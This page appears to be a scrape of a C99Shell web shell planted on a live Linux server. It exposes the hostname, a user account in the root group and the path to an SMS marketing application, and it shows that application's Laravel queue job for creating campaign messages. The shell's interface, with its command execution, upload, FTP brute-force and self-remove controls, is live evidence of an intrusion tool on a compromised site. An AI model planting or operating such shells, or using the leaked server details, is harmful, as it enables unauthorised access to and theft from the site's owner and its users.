!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/app/Jobs/   drwxr-xr-x
Free 26.59 GB of 117.98 GB (22.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DynamicCampaignCreateChunk.php (6.37 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Jobs;

use 
App\Models\Campaign;
use 
App\Models\Contact;
use 
Illuminate\Bus\Queueable;
use 
Illuminate\Contracts\Queue\ShouldBeUnique;
use 
Illuminate\Contracts\Queue\ShouldQueue;
use 
Illuminate\Foundation\Bus\Dispatchable;
use 
Illuminate\Queue\InteractsWithQueue;
use 
Illuminate\Queue\SerializesModels;
use 
Illuminate\Support\Carbon;
use 
Illuminate\Support\Facades\Log;

class 
DynamicCampaignCreateChunk implements ShouldQueue
{
    use 
DispatchableInteractsWithQueueQueueableSerializesModels;

    public 
$daily_sent_limit;
    private 
$send_speed;
    private 
$campaign_running_date;
    private 
$user;
    public 
$offset;
    private 
$take_count 5000;
    private 
$message;
    public 
$to_numbers;
    private 
$from_number;
    private 
$sms_queue;
    
/**
     * @var mixed
     */
    
private $dynamic_gateway_id;
    
/**
     * @var mixed
     */
    
private $data_with_headers;

    
/**
     * Create a new job instance.
     *
     * @return void
     */
    
public function __construct($message$dailySentLimit$campaignRunningDate$sendSpeed$user$offset,$dynamic_gateway_id,$data_with_headers)
    {
        
$this->message $message;
        
$this->daily_sent_limit $dailySentLimit;
        
$this->campaign_running_date $campaignRunningDate;
        
$this->send_speed $sendSpeed;
        
$this->user $user;
        
$this->offset $offset;
        
$numberArray json_decode($message->numbers);
        
$this->to_numbers =(array) $numberArray->to ?? [];
        
$this->from_number $numberArray->from ?? [];
        
$this->sms_queue = [];
        
sort($this->to_numbers);
        
$this->dynamic_gateway_id=$dynamic_gateway_id;
        
$this->data_with_headers=$data_with_headers;
    }

    
/**
     * Execute the job.
     *
     * @return void
     */

    
public function handle()
    {
        try {

            
$data_with_headers=$this->data_with_headers;
            
$campaignRunningDate=Carbon::parse($this->campaign_running_date);

            
$toNumbers array_slice($this->to_numbers$this->offset, ($this->daily_sent_limit));
            
$toNumbers=array_unique($toNumbers);

            if (
$toNumbers) {
                
$generatedToNumbers = [];
                foreach (
$toNumbers as $contact) {
                    
$explode_number=explode('-'$contact);
                    
$number_for_find_value=$contact;

                    if (isset(
$explode_number[0]) && isset($explode_number[1])) {
                        
$pre_contact $explode_number[1];
                        
$contact Contact::updateOrCreate(
                            [
'number' => $pre_contact],
                            [
'number' => $pre_contact'customer_id' => $this->user->id,'contact_dial_code'=>$explode_number[0]]
                        );



                        if (
$this->dynamic_gateway_id) {
                            
$templates json_decode($this->message->body);
                            
$templateBody $templates;
                            if (isset(
$data_with_headers[$number_for_find_value])) {
                                foreach (
$data_with_headers[$number_for_find_value] as $replace_contents) {
                                    foreach (
$replace_contents as $key => $content) {
                                        
$templateBody str_replace('{' $key '}'$content$templateBody);
                                    }
                                }
                            }


                            if (!
in_array($contact->number$generatedToNumbers)) {

                                
$toNumber str_replace('-','',$number_for_find_value);

                                
$this->sms_queue[] = [
                                    
'message_id' => $this->message->id,
                                    
'campaign_id' => $this->message->campaign_id,
                                    
'message_files' => $this->message->message_files,
                                    
'from_type' => $this->message->sender_type,
                                    
'from' => $this->from_number,
                                    
'to' => $toNumber,
                                    
'dynamic_gateway_id' => $this->dynamic_gateway_id,
                                    
'schedule_datetime' => null,
                                    
'body' => $templateBody,
                                    
'created_at' => now(),
                                    
'updated_at' => now(),
                                ];
                                
$generatedToNumbers[] = $contact->number;
                            }
                        }

                    }
                }
                foreach (
array_chunk($this->sms_queue$this->take_count) as $key => $daily_sms_queues) {
                    
$final_sms_queue = [];

                    foreach (
$daily_sms_queues as $queue) {
                        
$addSeconds=floor($this->send_speed) < floor($this->send_speed);
                        
$final_sms_queue[] = [
                            
'message_id' => $queue['message_id'],
                            
'campaign_id' => $queue['campaign_id'],
                            
'message_files' => $queue['message_files'],
                            
'from_type' => $queue['from_type'],
                            
'from' => $queue['from'],
                            
'to' => $queue['to'],
                            
'dynamic_gateway_id' => $queue['dynamic_gateway_id'],
                            
'schedule_datetime' => $campaignRunningDate->addSeconds($addSeconds)->toDateTimeString(),
                            
'body' => $queue['body'],
                            
'created_at' => now(),
                            
'updated_at' => now(),
                            
'type'=> 'sent',
                        ];
                    }
                    if (
$final_sms_queue) {
                        
$this->user->sms_queues()->createMany($final_sms_queue);
                        
$this->user->message_logs()->createMany($final_sms_queue);
                    }
                }
            }else{
                
Log::info("there is no to Numbers");
            }
        } catch (
\Exception $ex) {
            
dd($ex);
            throw new 
\Exception($ex->getMessage());
        }
    }


    public function 
failed(\Throwable $exception)
    {
        
Campaign::where('id',$this->message->campaign_id)->update(['import_fail_message'=>substr($exception->getMessage(), 0191)]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--